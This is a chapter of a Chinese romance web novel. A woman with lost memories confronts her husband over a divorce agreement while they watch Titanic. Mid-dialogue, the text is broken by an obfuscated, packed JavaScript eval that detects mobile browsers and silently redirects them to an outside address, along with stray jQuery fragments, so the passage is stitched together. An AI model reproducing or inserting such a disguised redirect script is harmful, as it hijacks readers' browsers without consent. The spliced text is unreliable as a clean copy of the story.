何嘉懿没有管电话那头的大惊失色，果断挂掉电话，顺手将手机关机。
她加快脚步走回公寓。打开门的瞬间，整间屋子静得出奇，没有一点光亮。
看着眼前的一片漆黑，何嘉懿一时间有些晃神，手指搭在门把上，指节因用力而泛白。
几秒后，大脑终于一点点冷却下来。何嘉懿走进屋内，抬手摸到墙上的开关，“啪”的一声，灯光亮起，刺得她下意识眯了眯眼。
客厅仍是她离开时的模样。
她出门前随手丢开的毯子还搭在扶手上，边角垂荡下来。茶几上，汝瓷茶杯底部仍压着水渍，干了一半，边缘泛着浅浅的白。
何嘉懿站在客厅中央，目光从沙发、茶几一路掠过，最后停在走廊尽头的那扇门。
她抬步走过去，拖鞋踩着木地板，声音闷闷的，被空荡的屋子放大了几分。
在书房门口停下，何嘉懿垂着头，指尖悬在门把上，半天没动。
片刻后，她手上用力，推开了门。
里面空无一人。
书房里没有开灯，窗帘只拉了一半，外头的城市光线漏进来，斜斜地落在书桌边缘，隐约照亮了空无一物的桌面。
何嘉懿走进书房，脱掉大衣搭至椅背，又扯下手提包，在椅子上坐了下来。
掌心仿佛还残留着寒风，指尖一点点发麻。何嘉懿盯着深色桌面看了一会，忽然觉得胸口空得令人发慌。
她猛然起身，椅脚刮过地板，拖出一声刺耳的长响。
何嘉懿几乎是跌跌撞撞地冲出了书房。
脚下步子越来越快，主卧的门被她率先推开。床铺平整，枕头摆得端正。衣帽间里，衣服按季节、颜色、样式排布整齐。她伸手拨开几件衬衫，指腹擦过真丝布料，触感冰冷。
人不在。
浴室、客卧、厨房、阳台……
何嘉懿几乎把每扇门都推了一遍。门开合的声音好似榔头一般，不断敲击着她的大脑，令她太阳穴不由地越来越紧。
最后，她回到客厅，环视着周围，呼吸杂乱。灯光明亮刺眼，照出她苍白的脸色。
往下咽了咽唾液，何嘉懿转身折回书房，抓起大衣和手提包，又跑回玄关。将拖鞋甩到旁边，她弯腰穿上短靴，指尖止不住地发颤。拉链往上一拽，却偏偏卡在了半当中，怎么也拉不上去。
何嘉懿看着那截拉链，手上用劲，努力调整着急促的呼吸。
胸腔仿佛被塞入了一团湿冷的棉絮，使得吸进的每一口气都是沉坠的。她用力扯了两下，金属齿不堪受力，最终“咔”的一声，错了开来。
何嘉懿闭了闭眼睛，索性不拉了。靴子半敞着，脚用力往里一踩，鞋跟随着力道磕在地砖上，发出一记脆响。
直起身来，手提包带子勒得她锁骨一阵疼，她却像没察觉似的，抬手去按门锁。指腹触碰到冰凉的金属，这才发觉自己手心里竟全是汗。
她深吸一口气，门把被她拧下去——
门外却忽然传来细微的开锁声。
何嘉懿的动作僵在了半空，呼吸几乎凝滞。
下一秒，门被人从外侧推开一条缝，走廊的灯光从门缝中挤进来，穿过她脚边的地面，随后越涌越多，直到照亮了她整个人。
沈斯白穿着深色风衣，领口被夜风吹得微微掀起，发梢有些乱。他一手扶着门把，另一只手拎着纸袋，指节冻得发红。
两个人隔着大门对视。
一时间，何嘉懿只感觉方才被堵住的呼吸尽数逃脱，开始大口喘气，喉咙像被人生生捏住，发不出声响。她站在门前，臂膀间夹着大衣，发丝贴在面颊上，睫毛膏微微花开，看起来有些狼狈。
沈斯白目光稍稍下移，先落在她半敞着的短靴上，又扫过脚边被踢翻的拖鞋，最后回到她脸上，停了半秒。
“你要去哪？”他开口，声音很低。
何嘉懿向后退了几步，终于找回声音，反问道：“你去哪了？”
沈斯白跨过门槛，顺手将门关上，举了举手中的袋子：“去小区外面的咖啡馆，买了点面包，准备明早当早餐吃。”
“你的电脑呢？”何嘉懿盯着他，又问。
沈斯白正弯腰换鞋，闻言动作一顿，直起身来看向她，撑开纸袋给她看：“家里待着工作效率不高，正好要去买面包，就顺便在咖啡馆工作了一会。”
何嘉懿没再说话，踢开脚上的短靴，换回拖鞋，又将手上的大衣和包包扔到一旁，抬手摸了摸自己被勒红的锁骨。
“你这是刚回来？”沈斯白注视着她的动作，问道。
何嘉懿抿了抿干涩的嘴唇，“嗯”了一声，走到厨房，从冰箱里拿了瓶矿泉水出来。
沈斯白跟在她身后，扶住冰箱冷藏室的门，将纸袋中的面包一个个放入。他偏头打量了她一眼：“你是跑回来的？怎么都出汗了？”
何嘉懿正喝着冰水，闻言顿时咳嗽起来，差点被呛到。
有些烦躁地拧上瓶盖，她看向沈斯白：“我们Spica的羊绒大衣质量好，冬天穿上就和过夏天似的，行不行？”
沈斯白停顿一瞬，关上冰箱门：“这是和你哥吵架了？气还没消？”
何嘉懿抬手把剩下的半瓶矿泉水扔向他，转身离开了厨房。
沈斯白侧身躲过，瓶子滚到脚边，他躬身捡起，走出厨房，将其放到了茶几上。
“怎么我到哪你就跟到哪？”何嘉懿半躺在沙发上，蹙着眉道。
“何诚轩说什么了？”沈斯白没有理会她的怒火，在她身旁坐下，问道。
何嘉懿打开电视，转头看了他一眼：“你见到他连话都不愿意说，居然还关心他跟我说了什么？”
“他是来给你送离婚协议的吧。”沈斯白看着电视，淡淡道。
何嘉懿没有说话，按遥控器的速度却明显变快。
光标在电视屏幕上胡乱闪动着，沈斯白看在眼里，却只是道：“你把协议拿回来了？准备什么时候给我？”
光标瞬间停止。
“沈斯白。”何嘉懿几乎是从牙缝里挤出了这三个字。
“难道不是吗？”沈斯白看着她，神情淡漠。
何嘉懿猛地转过头，看向他道：“你说的东西，我没有见过。”
“当然了，”她整个人都在气头上，语速很快，面色有些涨红，“要是你这么想和我离婚，不如就由你来起草一份好了。只要你写好了，我肯定立马签。”
沈斯白盯着她看了两秒，没有立刻反驳，只是抬手，将袖口往上挽了挽，露出一截腕骨。
“你现在说的是气话，”他开口，声音依旧平稳，“不算数。”
何嘉懿胸口一滞，这一整天的愤怒在胸腔内不断积攒，令她血压急剧攀升。
“我说话不算数？”她怒极反笑，“那谁说话算数？你？我哥？还是我爸妈？”
沈斯白没有接她的话。
他伸手去拿茶几上的矿泉水，拧开瓶盖，递到她面前：“喝一口吧。”
何嘉懿没有接过，甚至连看都没看那瓶水一眼，紧紧盯着他道：“我们之前吵架，你也是这样扯开话题？”
沈斯白微微偏头，看了她一会，随后笑了一下：“那你想怎么样？我现在去写离婚协议？还是让你父母直接发一份过来？”
何嘉懿没再说话，抬手夺过矿泉水瓶，狠狠地灌了一大口水。
她知道自己的怒火并不全部源于沈斯白。但谁让他正好撞到枪口上了呢？
沈斯白收回视线，唇角却仍然挂着那丝令人不顺眼的笑。何嘉懿越看越气，拧上瓶盖，抬腿踹了他一脚：“不要以为你很了解我。”
“倒也没有，”沈斯白忽略了小腿处传来的一点疼痛，伸手接过矿泉水瓶，“就像你踹我的这一下，我也没能避开不是吗？”
何嘉懿被气笑了，张口还想说什么，沈斯白却突然握住她的手，“嘘”了一声。
“我这两天疯狂加班、找老板请假，不是为了来这和你吵架的，”他一边说，一边拿起一旁的遥控器，牵着她的手却仍然没松开，“你想看什么？”
暖意顺着手背一路延伸向上，仿佛一根极细又稳固的线，勾住何嘉懿胸腔里那团湿冷的棉絮，硬生生往外扯了出去。
电视屏幕上还停着一排花花绿绿的图标，光影在沈斯白面庞上跳动。他低着头按了两下，从中找到一部电影，声音淡淡的：“看泰坦尼克号？”
何嘉懿咽下了那句咬牙切齿的“我不想看”，转而道：“泰坦尼克号都多老的片子了，你还没看够？”
沈斯白不由分说地点开了图标：“经典永流传。”
何嘉懿翻了个白眼，却也没再反驳，抬腿换了个更舒服的姿势，歪在沙发上：“那你去关灯。”
沈斯白依言起身，将客厅的灯关掉，回来坐下后，又十分自然地重新牵住了她。
电影的开场音乐铺开，海面幽蓝，镜头掠过沉睡的钢铁残骸。客厅中只留有电视的光，明明暗暗地在墙面上晃悠。
何嘉懿盯着屏幕看了两分钟，这才意识到自己根本没在看剧情——她的注意力全被手上的温度牵引着。
她动了动手指，想抽回自己的手。
沈斯白却像预判到似的，指节微微收紧，压住她那点不安分的挣扎，声音很轻：“别闹。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059505|194992||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谁闹了？”何嘉懿冷着脸，不耐烦道。
沈斯白没吭声，专注地盯着屏幕，手上用力，不与她争辩。
何嘉懿只得放弃，安安心心地靠在沙发上，转头看起了电影。
这种天下人皆知的经典之作，何嘉懿早已看过好多遍，几乎没有不记得的剧情。但经典之所以能被称作经典，正是在于无论你看多少遍，都仍然觉得美妙。
“沈斯白。”她忽然唤了一声，往自己这边牵了牵他的手。
“怎么了？”沈斯白转头看向她，侧脸被电视传来的光线勾勒出锋利线条。
“你非要看泰坦尼克号，是不是把自己代入Jack了？毕竟他可是找了Rose这位富家千金。”她笑道，笑容带着狡黠。
出乎意料的，沈斯白竟然点头：“你说是，那就是吧。”
何嘉懿一愣，完全没预料到自己的调侃会带来这样的效果。
“不至于吧？”她凑上前，仔细看着他的面庞，有些不可置信，“你真代入了？”
沈斯白瞟了她一眼：“你还看不看了？”
“我本来就不想看这部，”何嘉懿哼笑一声，“我又不代入Rose。”
沈斯白没说话，抬手按住她的脑袋，迫使她转向电视。
电视里恰好切到Jack笑着画画的镜头，画纸上几笔线条利落。客厅很暗，屏幕光落在沈斯白修长的指节上，染上几分色彩。
“沈斯白。”何嘉懿看着电视中的画面，还没安静一分钟，便再次唤道。
身侧人没有回答，她转过头，又继续说：“其实，我有件事想问你。”
沈斯白好似察觉到了什么，缓缓松开握着她的手，侧头望向她：“又要问我想不想离婚？”
何嘉懿摇了摇头：“这个问题已经问过了，我想换一个。”
沈斯白一动不动地盯着她：“换成什么？”
“我想问你，”何嘉懿看着他，声音放轻，“我为什么会选择你？”
沈斯白喉头滚了滚，忽然有些说不出话来。
我为什么会结婚？
我为什么会选择你？
结婚或许有许多原因：两人相爱、家长催婚、自身压力、社会观念……
可是，能满足这些原因的人这么多，为什么最后是你呢？
记忆会消失，但感受不会。
既然你不想告诉我结婚的缘由。那么，请你告诉我——
你有什么值得我选择的？
这个特殊项，为何偏偏是你？
在餐厅时，何嘉懿听着兄长的劝诫，脑子里被塞满了权衡利弊，所以她最终收下文件袋。即便她整个脑仁都疼得发胀、即便她反复咀嚼着家人对他过去的贬低。
回到公寓，她打开门，望见黑洞洞的房间。那一瞬间的心慌，是她几乎从未经历过的，整颗心脏像是空了一般，只剩下不知所措。脑海中只有一个念头——她想要找到他。
找到他，然后亲口问问。
为什么偏偏是你？
记忆既脆弱又复杂。过往也许会从大脑中消失，但情绪的印记却比记忆更加深刻。
虽然不记得了，但我还是我。
仍然是我。
沈斯白没有立刻回答。他的目光回到屏幕，船上的灯火晃过他眼底，把他那点不动声色的情绪遮住。
“我不会代入Jack。”他突然道。
何嘉懿一怔，又重新看向电视屏幕。
“Jack太乐观了，这样积极向上的性格，不适合我，”沈斯白说着，语气淡然。
何嘉懿没有动，也没有说话。
过了许久，旁边才重新传来声音：“有些问题，除了你自己以外，旁人恐怕没法替你来回答。”
沈斯白盯着屏幕，电影中夕阳的颜色映到他脸上：“你可以问我为什么选择你。但我该怎么替你回答，你为什么会选择我？”
“你刚刚也说了，我没有那么了解你。”
“何嘉懿，”沈斯白转头看向她，目光发沉，“虽然我同你家人的关系一般，但有些事，或许他们也没说错。”
“你怎么知道他们跟我说了什么？”何嘉懿心中隐隐猜到了他想说的话，蹙起眉来，快速打断道，“你就这么笃定，能猜中他们的想法？”
沈斯白笑起来，微微垂头，没有和她争辩这些，只是继续道：“我和你条件相差太多，你能有很多更好的选择。过去的毕竟已经过去，现在的你并不记得我们之间的相处。如果你想离……”
“沈斯白！”何嘉懿突然扬高声音，从沙发上跳了起来，“你脑袋加班加坏掉了？我和你谈心，你和我谈这个？”